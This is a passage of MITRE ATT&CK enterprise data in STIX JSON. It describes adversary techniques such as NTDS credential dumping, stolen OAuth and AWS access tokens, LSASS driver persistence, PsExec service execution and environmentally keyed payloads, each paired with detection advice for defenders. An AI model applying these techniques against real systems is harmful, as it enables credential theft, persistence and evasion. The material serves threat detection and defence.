SpiderLabs"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_system_requirements":["Access to Domain Controller or backup"],"type":"attack-pattern","id":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","created":"2020-02-11T18:42:35.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/003","external_id":"T1003.003"},{"source_name":"Metcalf 2015","description":"Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.","url":"http://adsecurity.org/?p=1275"},{"source_name":"Wikipedia Active Directory","description":"Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.","url":"https://en.wikipedia.org/wiki/Active_Directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","type":"attack-pattern","created":"2020-10-19T23:51:05.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1602.001","url":"https://attack.mitre.org/techniques/T1602/001"},{"source_name":"SANS Information Security Reading Room Securing SNMP Securing SNMP","url":"https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051","description":"Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"Cisco Advisory SNMP v3 Authentication Vulnerabilities","url":"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3","description":"Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:22.812Z","name":"SNMP (MIB Dump)","description":"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","type":"attack-pattern","created":"2020-03-15T00:37:58.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1001.002","url":"https://attack.mitre.org/techniques/T1001/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:37:58.963Z","name":"Steganography","description":"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"modified":"2024-09-10T16:40:03.786Z","name":"Malicious Link","description":"An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","created":"2020-03-11T14:43:31.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1204/001","external_id":"T1204.001"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:38:11.583Z","name":"Application Access Token","description":"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Mark Wee","Ian Davila, Tidal Cyber","Dylan Silva, AWS Security","Jack Burns, HubSpot","Blake Strom, Microsoft Threat Intelligence","Pawel Partyka, Microsoft Threat Intelligence"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["SaaS","Containers","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.7","x_mitre_data_sources":["Web Credential: Web Credential Usage"],"x_mitre_defense_bypassed":["System Access Controls"],"type":"attack-pattern","id":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","created":"2020-01-30T17:37:22.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1550/001","external_id":"T1550.001"},{"source_name":"Crowdstrike AWS User Federation Persistence","description":" Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023.","url":"https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/"},{"source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019","description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"},{"source_name":"AWS Logging IAM Calls","description":"AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html"},{"source_name":"AWS Temporary Security Credentials","description":"AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"},{"source_name":"Microsoft Identity Platform Access 2019","description":"Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"},{"source_name":"Google Cloud Service Account Credentials","description":"Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.","url":"https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials"},{"source_name":"GCP Monitoring Service Account Usage","description":"Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.","url":"https://cloud.google.com/iam/docs/service-account-monitoring"},{"source_name":"okta","description":"okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.","url":"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"},{"source_name":"Rhino Security Labs Enumerating AWS Roles","description":"Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022.","url":"https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"},{"source_name":"Staaldraad Phishing with OAuth 2017","description":"Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.","url":"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","created":"2020-01-24T18:38:55.801Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.008","url":"https://attack.mitre.org/techniques/T1547/008"},{"source_name":"Microsoft LSA Protection Mar 2014","url":"https://technet.microsoft.com/library/dn408187.aspx","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017."},{"source_name":"Microsoft DLL Security","url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017."},{"source_name":"Microsoft Security Subsystem","url":"https://technet.microsoft.com/library/cc961760.aspx","description":"Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.","modified":"2022-04-20T16:34:43.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LSASS Driver","x_mitre_detection":"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Module: Module Load","File: File Creation","Driver: Driver Load","File: File Modification"],"x_mitre_permissions_required":["SYSTEM","Administrator"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:41:40.247Z","name":"Service Execution","description":"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Network Traffic: Network Traffic Flow","Service: Service Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","created":"2020-03-10T18:33:36.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1569/002","external_id":"T1569.002"},{"source_name":"Microsoft Service Control Manager","description":"Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020.","url":"https://docs.microsoft.com/windows/win32/services/service-control-manager"},{"source_name":"Russinovich Sysinternals","description":"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.","url":"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Cloud Accounts","description":"Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nService or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto [Remote Services](https://attack.mitre.org/techniques/T1021). High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication. \n\nCloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods. \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Jon Sternstein, Stern Security","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.8","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Metadata","Logon Session: Logon Session Creation"],"x_mitre_permissions_required":["User","Administrator"],"type":"attack-pattern","id":"attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65","created":"2020-03-13T20:36:57.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1078/004","external_id":"T1078.004"},{"source_name":"AWS Identity Federation","description":"Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.","url":"https://aws.amazon.com/identity/federation/"},{"source_name":"Google Federating GC","description":"Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020.","url":"https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction"},{"source_name":"Microsoft Deploying AD Federation","description":"Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Nick Carr, Mandiant"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995","created":"2020-06-23T22:28:28.041Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1480.001","url":"https://attack.mitre.org/techniques/T1480/001"},{"source_name":"Proofpoint Router Malvertising","url":"https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices","description":"Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019."},{"source_name":"Kaspersky Gauss Whitepaper","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf","description":"Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019."},{"source_name":"Ebowla: Genetic Malware","url":"https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf","description":"Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019."},{"source_name":"EK Clueless Agents","url":"https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf","description":"Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019."},{"source_name":"EK Impeding Malware Analysis","url":"https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf","description":"Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019."},{"source_name":"Demiguise Guardrail Router Logo","url":"https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js","description":"Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019."},{"source_name":"Environmental Keyed HTA","url":"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/","description":"Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.","modified":"2022-05-04T14:52:51.290Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Environmental Keying","x_mitre_detection":"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host Forensic Analysis","Signature-based Detection","Static File Analysis"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","type":"attack-pattern","created":"2017-05-31T21:30:21.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1008","external_id":"T1008"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-07-14T19:49:47.340Z","name":"Fallback Channels","description":"Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_is_subtechnique":false},{"modified":"2024-09-12T15:27:29.615Z","name":"NTFS File Attributes","description":"Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly 